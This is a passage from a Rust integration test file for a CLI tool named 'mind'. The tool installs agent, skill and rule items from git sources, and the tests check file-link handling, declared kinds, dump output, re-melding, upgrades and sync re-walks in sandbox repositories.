    // spec: DSC-100
    // The CLI's own `--kind` cannot reach a non-link spec (`parse_link_kind`
    // refuses it as a usage error before any clone); a curator's `kind =` has
    // no such flag-parsing chokepoint, so this is caught in `meld_recursive`.
    let lib = Sandbox::bare("lib");
    lib.write_and_commit("skills/x/SKILL.md", "---\ndescription: x\n---\n# x\n");
    let curator = Sandbox::bare("curator");
    curator.write_and_commit(
        "mind.toml",
        &format!(
            "[discover]\nsources = [{{ source = \"{}\", kind = \"agent\" }}]\n",
            lib.source.to_string_lossy()
        ),
    );
    let spec = curator.source.to_string_lossy().into_owned();
    let r = curator.mind(&["meld", &spec, "--register-only"]);
    assert!(
        !r.success,
        "a kind on a non-link entry must fail the meld: {}",
        r.stdout
    );
    assert!(
        r.stderr.contains("not an item link"),
        "the error must say the source is not a link: {}",
        r.stderr
    );
}

#[test]
fn dump_emits_a_file_link_as_a_blob_url_and_carries_an_explicit_kind() {
    // spec: LNK-23
    let sb = Sandbox::bare("lib");
    sb.write_and_commit(
        "vendor/style.md",
        "---\ndescription: House style\n---\n# style\n",
    );
    let r = sb.mind(&[
        "learn",
        &sb.link("blob/main/vendor/style.md"),
        "--kind",
        "rule",
    ]);
    assert!(r.success, "learn failed: {} {}", r.stdout, r.stderr);
    let d = sb.mind(&["dump"]);
    assert!(d.success, "dump failed: {} {}", d.stdout, d.stderr);
    let sha = sb.head_sha();
    assert!(
        d.stdout.contains(&format!("/blob/{sha}/vendor/style.md")),
        "a file link dumps as a blob URL at the recorded commit: {}",
        d.stdout
    );
    assert!(
        d.stdout.contains("kind = \"rule\""),
        "the recorded explicit kind must be emitted: {}",
        d.stdout
    );
}

#[test]
fn dump_omits_kind_for_a_directory_resolved_file_link() {
    // spec: LNK-23
    let sb = file_item_sandbox();
    let r = sb.mind(&["learn", &sb.link("blob/main/agents/dev.md")]);
    assert!(r.success, "learn failed: {} {}", r.stdout, r.stderr);
    let d = sb.mind(&["dump"]);
    assert!(
        d.stdout.contains("/blob/") && !d.stdout.contains("kind ="),
        "no explicit kind was recorded, so none is emitted: {}",
        d.stdout
    );
}

#[test]
fn a_dumped_file_link_re_melds_to_the_same_instance() {
    // spec: LNK-23 LNK-20
    let sb = file_item_sandbox();
    let learned = sb.mind(&["learn", &sb.link("blob/main/agents/dev.md")]);
    assert!(learned.success, "learn failed: {}", learned.stderr);
    let identity = sb.link_name("agents/dev.md");
    let dumped = sb.mind(&["dump"]);
    let super_source = sb.base.join("super");
    std::fs::create_dir_all(&super_source).unwrap();
    write(&super_source.join("mind.toml"), &dumped.stdout);
    git(
        &super_source,
        &["-c", "init.defaultBranch=main", "init", "-q"],
    );
    git(&super_source, &["config", "user.email", "t@t"]);
    git(&super_source, &["config", "user.name", "t"]);
    git(&super_source, &["add", "-A"]);
    git(&super_source, &["commit", "-qm", "dumped"]);
    // Drop the instance, then reproduce it from the dump.
    let un = sb.mind(&["unmeld", &identity, "--yes"]);
    assert!(un.success, "unmeld failed: {} {}", un.stdout, un.stderr);
    let re = sb.mind(&["meld", &super_source.to_string_lossy(), "--yes"]);
    assert!(re.success, "re-meld failed: {} {}", re.stdout, re.stderr);
    let sources = sb.mind(&["recall", "--sources"]);
    assert!(
        sources.stdout.contains("#agents/dev.md"),
        "the dumped entry must reproduce the file-link instance: {}",
        sources.stdout
    );
}

#[test]
fn a_file_link_remedy_is_kind_qualified() {
    // spec: LNK-18 LNK-20
    // The unsatisfiable-token remedy names the linked item's own kind, not
    // `skill:`.
    let sb = Sandbox::bare("lib");
    sb.write_and_commit(
        "agents/dev.md",
        "---\ndescription: dev\n---\n# dev\nsee {{ns:other}}\n",
    );
    sb.write_and_commit("agents/other.md", "---\ndescription: other\n---\n# other\n");
    let r = sb.mind(&["learn", &sb.link("blob/main/agents/dev.md")]);
    assert!(
        !r.success,
        "a sibling token must fail the install: {}",
        r.stdout
    );
    assert!(
        r.stderr.contains("--learn 'agent:dev'"),
        "the remedy must be kind-qualified with the link's kind: {}",
        r.stderr
    );
}

#[test]
fn a_file_link_outside_its_kind_container_names_no_remedy_command() {
    // spec: LNK-18 LNK-20 LNK-21
    // No --add-root reaches a file item outside `<kind>s/`, so the error says
    // so instead of printing a command that would unmeld and then fail.
    let sb = Sandbox::bare("lib");
    sb.write_and_commit(
        "vendor/dev.md",
        "---\nkind: agent\ndescription: dev\n---\n# dev\nsee {{ns:other}}\n",
    );
    let r = sb.mind(&["learn", &sb.link("blob/main/vendor/dev.md")]);
    assert!(
        !r.success,
        "a sibling token must fail the install: {}",
        r.stdout
    );
    assert!(
        r.stderr
            .contains("outside a conventional agents/ directory"),
        "the error must explain why no command is offered: {}",
        r.stderr
    );
    assert!(
        !r.stderr.contains("mind unmeld"),
        "no destroy-then-fail command may be printed: {}",
        r.stderr
    );
}

#[test]
fn a_file_link_upgrades_like_any_source() {
    // spec: LNK-5 LNK-20
    let sb = file_item_sandbox();
    let r = sb.mind(&["learn", &sb.link("blob/main/agents/dev.md")]);
    assert!(r.success, "learn failed: {} {}", r.stdout, r.stderr);
    sb.write_and_commit(
        "agents/dev.md",
        "---\ndescription: The dev agent\n---\n# dev\nupdated\n",
    );
    let up = sb.mind(&["upgrade", "--yes"]);
    assert!(up.success, "upgrade failed: {} {}", up.stdout, up.stderr);
    let installed =
        std::fs::read_to_string(sb.claude_home.join("agents/dev.md")).expect("installed agent");
    assert!(
        installed.contains("updated"),
        "the upgrade must land the new content: {installed}"
    );
}

#[test]
fn syncs_re_walk_registers_a_curated_file_link_with_its_kind() {
    // spec: DSC-100 LNK-20
    // A curator adds a file-link entry after the initial meld; the sync
    // re-walk registers it under the declared kind, as a fresh meld would.
    let lib = Sandbox::bare("lib");
    lib.write_and_commit(
        "vendor/style.md",
        "---\ndescription: House style\n---\n# style\n",
    );
    let curator = Sandbox::bare("curator");
    curator.write_and_commit("mind.toml", "[source]\ndescription = \"curator\"\n");
    let spec = curator.source.to_string_lossy().into_owned();
    let m = curator.mind(&["meld", &spec, "--register-only"]);
    assert!(m.success, "initial meld failed: {} {}", m.stdout, m.stderr);
    curator.write_and_commit(
        "mind.toml",
        &format!(
            "[discover]\nsources = [{{ source = \"{}\", kind = \"rule\" }}]\n",
            lib.link("blob/main/vendor/style.md")
        ),
    );
    let sy = curator.mind(&["sync"]);
    assert!(sy.success, "sync failed: {} {}", sy.stdout, sy.stderr);
    let sources = curator.mind(&["recall", "--sources"]);
    assert!(
        sources.stdout.contains("#vendor/style.md"),
        "the re-walk must register the curated file link: {}",
        sources.stdout
    );
    let probe = curator.mind(&["probe"]);
    assert!(
        probe.stdout.contains("rule:style"),
        "the entry's declared kind must apply on the re-walk: {}",
        probe.stdout
    );
}